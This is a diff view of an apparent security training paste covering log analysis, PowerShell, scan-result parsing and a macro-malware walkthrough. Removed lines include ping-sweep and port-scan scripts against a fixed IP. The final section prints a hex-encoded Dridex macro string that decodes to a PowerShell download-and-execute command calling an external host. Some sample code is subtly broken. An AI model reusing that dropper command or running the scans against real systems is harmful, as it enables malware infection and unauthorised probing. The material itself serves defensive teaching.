View difference between Paste ID: YpfzJnfU and 1mE4i7Hy
SHOW: | | - or go back to the newest paste.
1
#######################
2
# VMs for this course #
3
#######################
4
https://s3.amazonaws.com/infosecaddictsvirtualmachines/Win7x64.zip
5
	username: workshop
6
	password: password
7
	
8
https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
9
user:      infosecaddicts
10
pass:      infosecaddicts
11
12
You don't have to, but you can do the updates in the Win7 VM (yes, it is a lot of updates).
13
14
You'll need to create directory in the Win7 VM called "c:\ps"
15
16-
In this file you will also need to change the text '149.28.201.171' to the IP address of your Ubuntu host.
16+
In this file you will also need to change the text '192.168.200.144' to the IP address of your Ubuntu host.
17
18
19
20
21-
If you are interested in running PowerShell on Mac OS X, or Linux you can check out the following link:
21+
22-
https://www.howtogeek.com/267858/how-to-install-microsoft-powershell-on-linux-or-os-x/
22+
23
# Log Analysis with Linux command-line tools #
24
##############################################
25
The following command line executables are found in the Mac as well as most Linux Distributions.
26
27
cat –  prints the content of a file in the terminal window
28-
PowerShell is Microsoft's new scripting language that has been built in since the release Vista. 
28+
grep – searches and filters based on patterns
29
awk –  can sort each row into fields and display only what is needed
30
sed –  performs find and replace functions
31
sort – arranges output in an order
32
uniq – compares adjacent lines and can report, filter or provide a count of duplicates
33
34
35
##############
36-
------------------------Type This------------------------------
36+
# Cisco Logs #
37
##############
38
39
wget https://s3.amazonaws.com/infosecaddictsfiles/cisco.log
40
41-
---------------------------------------------------------------
41+
42
AWK Basics
43
----------
44
To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5. Only the last 4 lines are being shown for brevity.
45-
------------------------Type This------------------------------
45+
46
cat cisco.log | awk '{print $5}' | tail -n 4
47-
--------------------------------------------------------------- 
47+
48
49
50
51-
------------------------Type This------------------------------
51+
Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found in “$5”, group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping the output through “sort“, using “uniq -c” to count the like entries, then using “sort -rn” to sort it in reverse order.
52
53-
---------------------------------------------------------------
53+
cat cisco.log | awk '{print $5}'| sort | uniq -c | sort -rn
54
55
56
57-
------------------------Type This------------------------------
57+
58
While that’s sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren’t conforming to the output we expect to see in $5. We can insert grep to filter the file prior to feeding it to awk. This insures that we are at least looking at lines of text that contain “facility-level-mnemonic”.
59
60-
---------------------------------------------------------------
60+
cat cisco.log | grep %[a-zA-Z]*-[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn
61
62
63-
------------------------Type This------------------------------
63+
64
65
66
Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use grep.
67
68
cat cisco.log | grep %LINEPROTO-5-UPDOWN:
69
70
cat cisco.log | grep %LINEPROTO-5-UPDOWN:| awk '{print $10}' | sort | uniq -c | sort -rn
71-
---------------------------------------------------------------
71+
72
cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn
73
74
cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn
75
76
77
78-
------------------------Type This------------------------------
78+
79
#########
80-
---------------------------------------------------------------
80+
# EGrep #
81
#########
82
83
84-
- PowerShell variables begin with the $ symbol. First lets create a variable
84+
85-
------------------------Type This------------------------------
85+
86
87-
---------------------------------------------------------------
87+
88
# Powershell Basics #
89
#####################
90-
------------------------Type This------------------------------
90+
91
PowerShell is Microsoft’s new scripting language that has been built in since the release Vista. 
92
93
PowerShell file extension end in .ps1 . 
94-
---------------------------------------------------------------
94+
95
An important note is that you cannot double click on a PowerShell script to execute it. 
96
97
To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories -> Windows PowerShell -> Windows PowerShell.
98-
------------------------Type This------------------------------
98+
99
dir 
100
cd 
101
ls
102-
---------------------------------------------------------------
102+
103
104
105
To obtain a list of cmdlets, use the Get-Command cmdlet
106
107-
Let's use a method and a property with our object. 
107+
108-
------------------------Type This------------------------------
108+
109
110
111
You can use the Get-Alias cmdlet to see a full list of aliased commands.
112
113
Get-Alias
114
115
116-
---------------------------------------------------------------
116+
117
Don't worry you won't blow up your machine with Powershell
118
Get-Process | stop-process 				Don't press [ ENTER ] What will this command do?
119-
If you want some good command-line shortcuts you can check out the following link:
119+
120-
https://technet.microsoft.com/en-us/library/ff678293.aspx
120+
121
122
To get help with a cmdlet, use the Get-Help cmdlet along with the cmdlet you want information about.
123
124
Get-Help Get-Command
125-
Let's setup a directory to work in:
125+
126-
------------------------Type This------------------------------
126+
127
128
Get-Service -Name TermService, Spooler
129-
mkdir ps
129+
130
Get-Service –N BITS
131-
cd ps
131+
132-
---------------------------------------------------------------
132+
133
134
PowerShell variables begin with the $ symbol. First lets create a variable
135
136
$serv = Get-Service –N Spooler
137
138
To see the value of a variable you can just call it in the terminal.
139
140-
------------------------Type This------------------------------
140+
141
142
$serv.gettype().fullname
143
 
144
145
Get-Member is another extremely useful cmdlet that will enumerate the available methods and properties of an object. You can pipe the object to Get-Member or pass it in
146-
---------------------------------------------------------------
146+
147
$serv | Get-Member
148
149
Get-Member -InputObject $serv
150-
------------------------Type This------------------------------
150+
151
 
152-
---------------------------------------------------------------
152+
153
154
155
Let’s use a method and a property with our object. 
156
157
$serv.Status
158
$serv.Stop()
159
$serv.Refresh()
160
$serv.Status
161
$serv.Start()
162
$serv.Refresh()
163
$serv.Status
164-
------------------------Type This------------------------------
164+
165
166
167
168-
---------------------------------------------------------------
168+
Methods can return properties and properties can have sub properties. You can chain them together by appending them to the first call.
169
170
171-
------------------------Type This------------------------------
171+
172
173-
---------------------------------------------------------------
173+
174
175
- Run cmdlet through a pie and refer to its properties as $_
176
Get-Service | where-object {  $_.Status -eq "Running"}
177
178
179
Variables
180
---------
181
182
vs1 = 1
183
vs1.GetType().Name
184
185
186-
------------------------Type This------------------------------
186+
vs1 = "string "
187
vs1.GetType().Name
188-
---------------------------------------------------------------
188+
189
190
191
- Get a listing of variables
192-
------------------------Type This------------------------------
192+
Get-variable
193
Get-ChildItem variable
194
195
196-
---------------------------------------------------------------
196+
197
For Loops
198
---------
199
1..5 | ForEach-Object   { $Sum = 0 } { $Sum += $_ }
200
201
202-
------------------------Type This------------------------------
202+
203
204-
---------------------------------------------------------------
204+
$Numbers = 4..7
205
1..1 | forecach-object { if ($Numbers -contains $_)
206
{ continue }; $_ }
207-
------------------------Type This------------------------------
207+
208
209-
---------------------------------------------------------------
209+
210
211
foreach ($i in (1..10)){
212
	if ($i -gt 5){
213-
------------------------Type This------------------------------
213+
		continue
214
	}
215-
---------------------------------------------------------------
215+
	$i
216
)
217
218
219
220
221
222
223
PSDrives
224
--------
225
226
To get a list of current PSDrives that are available on a system we use Get-PSDrive cmdlet
227
228-
------------------------Type This------------------------------
228+
To get a list of the Providers the current sessions has available with the modules it has loaded the Get-PSProvider cmdlet is used.
229
230
The default PSDrives created when a Shell Session is started are:
231
232
- Alias - Represent all aliases valid for the current PowerShell session.
233-
---------------------------------------------------------------
233+
234
- Cert - Certificate store for the user represented in Current Location.
235
236
- Env - All environment variables for the current PowerShell Session
237
238-
------------------------Type This------------------------------
238+
- Function - All functions available for the current PowerShell
239
240-
---------------------------------------------------------------
240+
- HKLM - Registry HKey Local Machine registry hive
241
242
- HKCU - Registry HKCU Current user hive
243
244
- WSMan - WinRM (Windows Remote Management) configuration and credentials
245-
------------------------Type This------------------------------
245+
246
247-
---------------------------------------------------------------
247+
248
249
Playing with WMI
250
----------------
251-
------------------------Type This------------------------------
251+
252-
Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique | Measure-Object
252+
# List all namespaces in the default root/cimv2
253-
---------------------------------------------------------------
253+
Get-WmiObject -Class __namespace | Select-Object Name
254
255
256
# List all namespaces under root/microsoft
257-
------------------------Type This------------------------------
257+
Get-WmiObject -Class __namespace -Namespace root/microsoft | Select-Object Name
258-
Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique
258+
259-
---------------------------------------------------------------
259+
# To list classes under the default namespace
260
Get-WmiObject -List *
261
262
# To filter classes with the word network in their name
263-
------------------------Type This------------------------------
263+
Get-WmiObject -List *network*
264-
Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select value | group value | sort count -des
264+
265-
---------------------------------------------------------------
265+
266
# To list classes in another namespace 
267
Get-WmiObject -List * -Namespace root/microsoft/homenet
268
269
270
# To get a description of a class
271
(Get-WmiObject -list win32_service -Amended).qualifiers | Select-Object name, value | ft -AutoSize -Wrap
272
273
274
275-
------------------------Type This------------------------------
275+
276
PowerShell treats WMI objects the same as .Net Objects so we can use Select-Object, Where-Object, ForEach-Object and Formatting cmdlets like we do with any other .Net object type.
277
278
In the case of WMI with Get-WMIObject we also have the ability to use filters based on WQL Operators with the -Filter parameter
279-
---------------------------------------------------------------
279+
280
$wmishare = [wmiclass] "win32_process"
281
$wmishare.Methods
282
283
284
Invoke-WMIMethod -class Win32_Process -Name create -ArgumentList 'calc.exe'
285-
------------------------Type This------------------------------
285+
286
287-
---------------------------------------------------------------
287+
288
289
290
291
292
293
Get-PSProvider Registry
294
295
- To list sub-keys of a registry path
296
Get-childItem -Path hkcu:\
297
298
- To copy a key and all sub-keys
299
Copy-Item -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion' -Destination hkcu: -Recurse
300
301
- To create a key
302
New-Item -Path HKCU:\_DeleteMe
303
304
- To Remove keys
305
Remove-Item -Path HKCU:\_DeleteMe
306
Remove-Item -Path HKCU:\CurrentVersion
307
308
309-
Regex Characters you might run into:
309+
310
311-
^	Start of string, or start of line in a multiline pattern
311+
- Selecting Objects
312-
$	End  of string, or start of line in a multiline pattern
312+
- Selecting specific Objects from a list
313-
\b	Word boundary
313+
Get-Process | Sort-Object workingset -D
314-
\d	Digit
314+
315-
\	Escape the following character
315+
$str = "my string"
316-
*	0 or more	{3}	Exactly 3
316+
$str.contains("                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          ")
317-
+	1 or more	{3,}	3 or more
317+
318-
?	0 or 1		{3,5}	3, 4 or 5
318+
- Selecting a range of objects from a list
319
Get-Process | Sort-Object workingset -Descending | Select-Object -Index (0..4)
320
321
- Creating/Renaming a property
322
Get-Process | Select-Object -Property name,@{name = 'PID'; expression = {$_.id}}
323
324
325-
------------------------Type This------------------------------
325+
Get-Process | Sort-Object workingset -Descending | Select-Object -Index 0,1,2,3,4  
326
327
#############################
328
# Simple Event Log Analysis #
329-
---------------------------------------------------------------
329+
330
331
Step 1: Dump the event logs
332
---------------------------
333
The first thing to do is to dump them into a format that facilitates later processing with Windows PowerShell.
334-
Windows PowerShell has a "select-string" cmdlet which can be used to quickly scan a file to see if a certain string value exists. 
334+
335
To dump the event log, you can use the Get-EventLog and the Exportto-Clixml cmdlets if you are working with a traditional event log such as the Security, Application, or System event logs. 
336
If you need to work with one of the trace logs, use the Get-WinEvent and the ExportTo-Clixml cmdlets.
337
338-
------------------------Type This------------------------------
338+
339-
$input_path = 'c:\ps\emails.txt'
339+
340-
$output_file = 'c:\ps\extracted_addresses.txt'
340+
341-
$regex = '\b[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b'
341+
342
$logs = "system","application","security"
343-
---------------------------------------------------------------
343+
344
The % symbol is an alias for the Foreach-Object cmdlet. It is often used when working interactively from the Windows PowerShell console
345
346
$logs | % { get-eventlog -LogName $_ | Export-Clixml "$_.xml" }
347
348
349
350
351
352
Step 2: Import the event log of interest
353
----------------------------------------
354
To parse the event logs, use the Import-Clixml cmdlet to read the stored XML files. 
355
Store the results in a variable. 
356-
1) "-Path" which takes as input the full path to the input file
356+
357
358-
2) "-Pattern" which takes as input the regular expression used in the matching process
358+
359
360-
3) "-AllMatches" which searches for more than one match (without this parameter it would stop after the first match is found) and is piped to "$.Matches" and then "$_.Value" which represent using the current values of all the matches.
360+
361
362-
Using ">" the results are written to the destination specified in the $output_file variable.
362+
363
364
365
Cool trick from one of our students named Adam. This command allows you to look at the logs for the last 24 hours:
366
367
Get-EventLog Application -After (Get-Date).AddDays(-1)
368
369-
------------------------Type This------------------------------
369+
370-
$input_path = 'c:\ps\ip_addresses.txt'
370+
371-
$output_file = 'c:\ps\extracted_ip_addresses.txt'
371+
372-
$regex = '\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b'
372+
373
374-
---------------------------------------------------------------
374+
375
376
377
Step 3: Drill into a specific entry
378
-----------------------------------
379
To view the entire contents of a specific event log entry, choose that entry, send the results to the Format-List cmdlet, and choose all of the properties. 
380
381
382-
------------------------Type This------------------------------
382+
383-
$input_path = 'c:\ps\URL_addresses.txt'
383+
384-
$output_file = 'c:\ps\extracted_URL_addresses.txt'
384+
385-
$regex = '([a-zA-Z]{3,})://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
385+
386
387-
---------------------------------------------------------------
387+
388
389
(($seclog | select -first 1).message).gettype()
390-
All you need to do is switch the regular expression in the "$regex" variable! 
390+
391
392
393
In the *nix world you often want a count of something (wc -l). 
394
How often is the SeSecurityPrivilege privilege mentioned in the message property? 
395
To obtain this information, pipe the contents of the security log to a Where-Object to filter the events, and then send the results to the Measure-Object cmdlet to determine the number of events:
396
397
$seclog | ? { $_.message -match 'SeSecurityPrivilege'} | measure
398-
########################################
398+
399-
# Basic Network Commands in PowerShell #
399+
400-
########################################
400+
401
402-
Reference:
402+
403-
https://blogs.technet.microsoft.com/josebda/2015/04/18/windows-powershell-equivalents-for-common-networking-commands-ipconfig-ping-nslookup/
403+
404
Because importing the event log into a variable from the stored XML results in a collection of event log entries, it means that the count property is also present. 
405
Use the count property to determine the total number of entries in the event log.
406
407-
# Pentester Tasks #
407+
408
409-
Reference:
409+
410-
http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/02/use-powershell-for-network-host-and-port-discovery-sweeps.aspx
410+
411
412
413-
Listing IPs
413+
414-
-----------
414+
415-
One of the typical ways for working with IP addressed in most scripts is to work with an octet and then increase the last one
415+
416
############################
417-
------------------------Type This------------------------------
417+
418-
$octect = "149.28.201."
418+
419-
$lastoctect = (1..255)
419+
420-
$lastoctect | ForEach-Object {write-host "$($octect)$($_)"}
420+
421-
---------------------------------------------------------------
421+
422
mkdir c:\ps
423
cd c:\ps
424-
Ping Sweep
424+
425
426-
PowerShell provides several methods for doing Ping
426+
427-
Test-Connection cmdlet
427+
428-
Creation of a WMI Object
428+
429-
.Net System.Net.NetworkInformation.Ping Object
429+
430
	
431
	
432
433-
------------------------Type This------------------------------
433+
###############################################
434-
function New-IPRange ($start, $end) {
434+
# Intrusion Analysis Using Windows PowerShell #
435-
$ip1 = ([System.Net.IPAddress]$start).GetAddressBytes()
435+
###############################################
436-
[Array]::Reverse($ip1)
436+
437-
$ip1 = ([System.Net.IPAddress]($ip1 -join '.')).Address
437+
Download sample file http://pastebin.com/raw.php?i=ysnhXxTV into the c:\ps directory
438
439-
$ip2 = ([System.Net.IPAddress]$end).GetAddressBytes()
439+
440-
[Array]::Reverse($ip2)
440+
441-
$ip2 = ([System.Net.IPAddress]($ip2 -join '.')).Address
441+
442
443-
for ($x=$ip1; $x -le $ip2; $x++) {
443+
444-
$ip = ([System.Net.IPAddress]$x).GetAddressBytes()
444+
445-
[Array]::Reverse($ip)
445+
446-
$ip -join '.'
446+
447-
}
447+
448-
}
448+
449-
$ping = New-Object System.Net.NetworkInformation.Ping
449+
450-
New-IPRange 149.28.201.1 149.28.201.250 | ForEach-Object {$ping.Send($_, 100)} | where {$_.status -eq "Success"}
450+
451-
---------------------------------------------------------------
451+
452
Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line
453
454-
Reverse Lookups
454+
455-
---------------
455+
456-
For reverse lookups using .Net Class we use the [System.Net.Dns]::GetHostEntry(IP) method Returns System.Net.IPHostEntry
456+
457
To see how many connections are made when analyzing a single host, the output from that can be piped to another command: Measure-Object.
458
459-
------Deprecated--------
459+
460-
[System.Net.Dns]::GetHostByAddress("162.243.126.247")   
460+
461-
------Deprecated--------
461+
462
463-
Use getnameinfo instead:
463+
464-
https://msdn.microsoft.com/en-us/library/windows/desktop/ms738532(v=vs.85).aspx
464+
465
Select-String “\b(?:\d{1,3}\.){3}\d{1,3}\b” .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique | Measure-Object
466-
References:
466+
467-
https://stackoverflow.com/questions/10346194/how-to-use-getnameinfo-instead-of-gethostbyname
467+
468
469
Removing Measure-Object shows all the individual IPs instead of just the count of the IP addresses. The Measure-Object command counts the IP addresses. 
470
471-
Forward Lookups
471+
Select-String “\b(?:\d{1,3}\.){3}\d{1,3}\b” .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique
472-
---------------
472+
473
474-
------------------------Type This------------------------------
474+
475-
[System.Net.Dns]::GetHostAddresses("www.google.com")
475+
476-
---------------------------------------------------------------
476+
477
Select-String “\b(?:\d{1,3}\.){3}\d{1,3}\b” .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select value | group value | sort count -des
478
479-
Port Scans
479+
480
481-
To test if a port is open on a remote host in PowerShell the best method is to use the .Net abstraction that it provides to Windows Socket library
481+
482-
For TCP the .Net System.Net.Sockets.TcpClient
482+
This will get the setting for logs in the windows firewall which should be enabled in GPO policy for analysis. 
483-
For UDP the .Net System.Net.Sockets.UdpClient
483+
The command shows that the Firewall log is at:
484
%systemroot%\system32\LogFiles\Firewall\pfirewall.log, in order to open the file PowerShell will need to be run with administrative privileges.
485
486
487
First step is to get the above command into a variable using script logic.
488-
TCP Scan (Windows 7)
488+
Thankfully PowerShell has a built-in integrated scripting environment, PowerShell.ise. 
489-
--------------------
489+
490-
NOTE: If you are using Windows 7, use the code below
490+
netsh advfirewall show allprofiles | Select-String FileName | select -ExpandProperty line | Select-String “%systemroot%.+\.log" | select -ExpandProperty matches | select -ExpandProperty value | sort –uniq
491-
------------------------Type This------------------------------
491+
492-
$ports=22,80,443,3389
492+
493-
$target = "149.28.201.171"
493+
494-
foreach ($i in $ports) {
494+
495-
try {
495+
496-
$socket = new-object System.Net.Sockets.TCPClient($target, $i);
496+
497-
} catch {}
497+
498-
if ($socket -eq $NULL) {
498+
499-
echo "$target:$i - Closed";
499+
500-
} else {
500+
501-
echo "$target:$i - Open";
501+
502-
$socket = $NULL;
502+
503-
}}
503+
504-
---------------------------------------------------------------
504+
505
506
The above command would give us all the WebDAV requests.
507
508-
TCP Scan (Windows 10)
508+
509-
---------------------
509+
510-
NOTE: If you are using Windows 10, use the code below
510+
511
512-
------------------------Type This------------------------------
512+
513-
$ports=22,80,443,3389
513+
514-
$target = "149.28.201.171"
514+
515-
foreach ($i in $ports) {
515+
516-
try {
516+
517-
$socket = new-object System.Net.Sockets.TCPClient($target, $i);
517+
518-
} catch {}
518+
519-
if ($socket -eq $NULL) {
519+
520-
echo "${target}:$i - Closed";
520+
521-
} else {
521+
522-
echo "${target}:$i - Open";
522+
523-
$socket = $NULL;
523+
524-
}}
524+
525-
---------------------------------------------------------------
525+
526
527
528
####################################################################
529-
##########################
529+
530-
# Parsing Nmap XML Files #
530+
531-
##########################
531+
532-
If you are NOT using the Win7 VM provided then you can get the required files for this lab which are located in this zip file:
532+
533-
https://s3.amazonaws.com/infosecaddictsfiles/PowerShell-Files.zip
533+
534
535
(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=rDN3CMLc", "c:\ps\emails.txt")
536-
Let's setup a directory to work in:
536+
537-
------------------------Type This------------------------------
537+
538
539
2) The regular expression that the input file will be compared against
540-
mkdir ps
540+
541
3) The output file for where the extracted data will be placed.
542-
cd ps
542+
543-
---------------------------------------------------------------
543+
Windows PowerShell has a “select-string” cmdlet which can be used to quickly scan a file to see if a certain string value exists. 
544
Using some of the parameters of this cmdlet, we are able to search through a file to see whether any strings match a certain pattern, and then output the results to a separate file.
545
546
To demonstrate this concept, below is a Windows PowerShell script I created to search through a text file for strings that match the Regular Expression (or RegEx for short) pattern belonging to e-mail addresses.
547
548-
------------------------Type This------------------------------
548+
$input_path = ‘c:\ps\emails.txt’
549
$output_file = ‘c:\ps\extracted_addresses.txt’
550-
mkdir PowerShell-Files
550+
$regex = ‘\b[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b’
551-
cd PowerShell-Files
551+
552-
(new-object System.Net.WebClient).DownloadFile("https://s3.amazonaws.com/infosecaddictsfiles/PowerShell/Parse-Nmap.ps1", "c:\ps\PowerShell-Files\Parse-Nmap.ps1")
552+
553-
(new-object System.Net.WebClient).DownloadFile("https://s3.amazonaws.com/infosecaddictsfiles/PowerShell/class_nessus.csv", "c:\ps\PowerShell-Files\class_nessus.csv")
553+
554-
(new-object System.Net.WebClient).DownloadFile("https://s3.amazonaws.com/infosecaddictsfiles/PowerShell/samplescan.xml", "c:\ps\PowerShell-Files\samplescan.xml")
554+
555-
---------------------------------------------------------------
555+
556
557
2) $output_file to hold the path to the file we want the results to be stored in
558-
Run Powershell as administrator
558+
559-
------------------------Type This------------------------------
559+
560-
cd C:\ps\\PowerShell-Files
560+
561
The select-string cmdlet contains various parameters as follows:
562-
Get-ExecutionPolicy
562+
563-
Set-ExecutionPolicy Unrestricted –Force
563+
1) “-Path” which takes as input the full path to the input file
564-
---------------------------------------------------------------
564+
565
2) “-Pattern” which takes as input the regular expression used in the matching process
566
567-
Parse nmap XML
567+
3) “-AllMatches” which searches for more than one match (without this parameter it would stop after the first match is found) and is piped to “$.Matches” and then “$_.Value” which represent using the current values of all the matches.
568-
------------------------Type This------------------------------
568+
569-
.\parse-nmap.ps1 samplescan.xml
569+
Using “>” the results are written to the destination specified in the $output_file variable.
570-
---------------------------------------------------------------
570+
571
Here are two further examples of this script which incorporate a regular expression for extracting IP addresses and URLs.
572
573-
Process all XML files
573+
574-
------------------------Type This------------------------------
574+
575-
.\parse-nmap.ps1 *.xml
575+
576-
---------------------------------------------------------------
576+
577
$input_path = ‘c:\ps\ip_addresses.txt’
578-
Piping also works
578+
$output_file = ‘c:\ps\extracted_ip_addresses.txt’
579-
------------------------Type This------------------------------
579+
$regex = ‘\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b’
580-
dir *.xml | .\parse-nmap.ps1
580+
581-
---------------------------------------------------------------
581+
582
583-
Advanced parsing with filtering conditions
583+
584-
------------------------Type This------------------------------
584+
585-
.\parse-nmap.ps1 samplescan.xml | where {$_.OS -like "*Windows XP*"} | format-table IPv4,HostName,OS
585+
586-
---------------------------------------------------------------
586+
587
588
$input_path = ‘c:\ps\URL_addresses.txt’
589-
More parsing
589+
$output_file = ‘c:\ps\extracted_URL_addresses.txt’
590-
------------------------Type This------------------------------
590+
$regex = ‘([a-zA-Z]{3,})://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?’
591-
.\parse-nmap.ps1 samplescan.xml | where {$_.Ports -like "*open:tcp:22*"}
591+
592-
---------------------------------------------------------------
592+
593
594-
Parsing with match and multiple conditions
594+
595-
------------------------Type This------------------------------
595+
All you need to do is switch the regular expression in the “$regex” variable! 
596-
.\parse-nmap.ps1 samplescan.xml |where {$_.Ports -match "open:tcp:80|open:tcp:443"}
596+
597-
---------------------------------------------------------------
597+
598
599
###################
600-
CSV Export
600+
# Regex in Python #
601-
------------------------Type This------------------------------
601+
602-
.\parse-nmap.ps1 samplescan.xml -outputdelimiter " " | where {$_.Ports -match "open:tcp:80"} | export-csv weblisteners.csv
602+
603-
---------------------------------------------------------------
603+
604
605-
Import Data from CSV
605+
606-
------------------------Type This------------------------------
606+
**************************************************
607-
$data = import-csv weblisteners.csv
607+
* What is Regular Expression and how is it used? *
608-
$data | where {($_.IPv4 -like "10.57.*") -and ($_.Ports -match "open:tcp:22")}
608+
**************************************************
609-
---------------------------------------------------------------
609+
610
611
Simply put, regular expression is a sequence of character(s) mainly used to find and replace patterns in a string or file. 
612-
Export to HTML
612+
613-
------------------------Type This------------------------------
613+
614-
.\parse-nmap.ps1 samplescan.xml -outputdelimiter " " |select-object IPv4,HostName,OS | ConvertTo-Html | out-file report.html
614+
Regular expressions use two types of characters:
615-
---------------------------------------------------------------
615+
616
a) Meta characters: As the name suggests, these characters have a special meaning, similar to * in wildcard.
617
618-
########################################
618+
b) Literals (like a,b,1,2…)
619-
# Parsing Nessus scans with PowerShell #
619+
620-
########################################
620+
621-
If you are NOT using the Win7 VM provided then you can get the required files for this lab which are located in this zip file:
621+
In Python, we have module "re" that helps with regular expressions. So you need to import library re before you can use regular expressions in Python.
622-
https://s3.amazonaws.com/infosecaddictsfiles/PowerShell-Files.zip
622+
623
624
Use this code --> import re
625
626-
Let's take a look at the Import-Csv cmdlet and what are the members of the object it returns:
626+
627-
------------------------Type This------------------------------
627+
628-
Import-Csv c:\ps\PowerShell-Files\class_nessus.csv | Get-Member
628+
629-
---------------------------------------------------------------
629+
The most common uses of regular expressions are:
630
--------------------------------------------------
631-
filter the objects:
631+
632
- Search a string (search and match)
633-
------------------------Type This------------------------------
633+
- Finding a string (findall)
634-
Import-Csv c:\ps\PowerShell-Files\class_nessus.csv | where {$_.risk -eq "high"}
634+
- Break string into a sub strings (split)
635-
---------------------------------------------------------------
635+
- Replace part of a string (sub)
636
637-
use the Select-Object cmdlet and only get unique entries:
637+
638-
------------------------Type This------------------------------
638+
639-
Import-Csv c:\ps\PowerShell-Files\class_nessus.csv | where {$_.risk -eq "high"} | select host -Unique
639+
Let's look at the methods that library "re" provides to perform these tasks.
640
641-
Import-Csv c:\ps\PowerShell-Files\class_nessus.csv | where {"high","medium","low" -contains $_.risk} | select "Plugin ID", CVE, CVSS, Risk, Host, Protocol, Port, Name | Out-GridView
641+
642-
------------------------Type This------------------------------
642+
643
****************************************************
644-
ConvertTo-Html cmdlet and turn it in to an HTML report in list format:
644+
* What are various methods of Regular Expressions? *
645-
------------------------Type This------------------------------
645+
****************************************************
646-
Import-Csv c:\ps\PowerShell-Files\class_nessus.csv | where {"high","medium","low" -contains $_.risk} | select "Plugin ID", CVE, CVSS, Risk, Host, Protocol, Port, Name | ConvertTo-Html -As List > C:\report2.html
646+
647-
---------------------------------------------------------------
647+
648
The ‘re' package provides multiple methods to perform queries on an input string. Here are the most commonly used methods, I will discuss:
649
650
re.match()
651
re.search()
652-
#####################################################
652+
re.findall()
653-
# Analyzing Macro Embedded Malware                  #
653+
re.split()
654-
# Reference:                                        #
654+
re.sub()
655-
# https://jon.glass/analyzes-dridex-malware-p1/     #
655+
re.compile()
656-
#####################################################
656+
657
Let's look at them one by one.
658-
Use the InfoSec Addicts virtual machine:
658+
659
 
660
re.match(pattern, string):
661
-------------------------------------------------
662
663
This method finds match if it occurs at start of the string. For example, calling match() on the string ‘AV Analytics AV' and looking for a pattern ‘AV' will match. However, if we look for only Analytics, the pattern will not match. Let's perform it in python now.
664-
------------------------Type This------------------------------
664+
665-
sudo pip install olefile
665+
Code
666-
     infosecaddicts
666+
667
import re
668-
mkdir ~/Desktop/oledump
668+
result = re.match(r'AV', 'AV Analytics ESET AV')
669
print result
670-
cd ~/Desktop/oledump
670+
671
Output:
672-
wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
672+
<_sre.SRE_Match object at 0x0000000009BE4370>
673
674-
unzip oledump_V0_0_22.zip
674+
Above, it shows that pattern match has been found. To print the matching string we'll use method group (It helps to return the matching string). Use "r" at the start of the pattern string, it designates a python raw string.
675
676-
wget https://s3.amazonaws.com/infosecaddictsfiles/064016.zip
676+
677
result = re.match(r'AV', 'AV Analytics ESET AV')
678-
unzip 064016.zip
678+
print result.group(0)
679-
     infected
679+
680
Output:
681-
python oledump.py 064016.doc
681+
AV
682
683-
python oledump.py 064016.doc -s A4 -v
683+
684-
---------------------------------------------------------------
684+
Let's now find ‘Analytics' in the given string. Here we see that string is not starting with ‘AV' so it should return no match. Let's see what we get:
685
686-
- From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
686+
687-
- Three of the data streams are flagged as macros: A3:'VBA/Module1′, A4:'VBA/Module2′, A5:'VBA/ThisDocument'.
687+
Code
688
689-
------------------------Type This------------------------------
689+
result = re.match(r'Analytics', 'AV Analytics ESET AV')
690-
python oledump.py 064016.doc -s A5 -v
690+
print result 
691-
---------------------------------------------------------------
691+
692
693-
- As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
693+
Output: 
694
None
695-
------------------------Type This------------------------------
695+
696-
python oledump.py 064016.doc -s A3 -v
696+
697-
---------------------------------------------------------------
697+
There are methods like start() and end() to know the start and end position of matching pattern in the string.
698
699-
- Look for "GVhkjbjv" and you should see:
699+
Code
700
701-
636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
701+
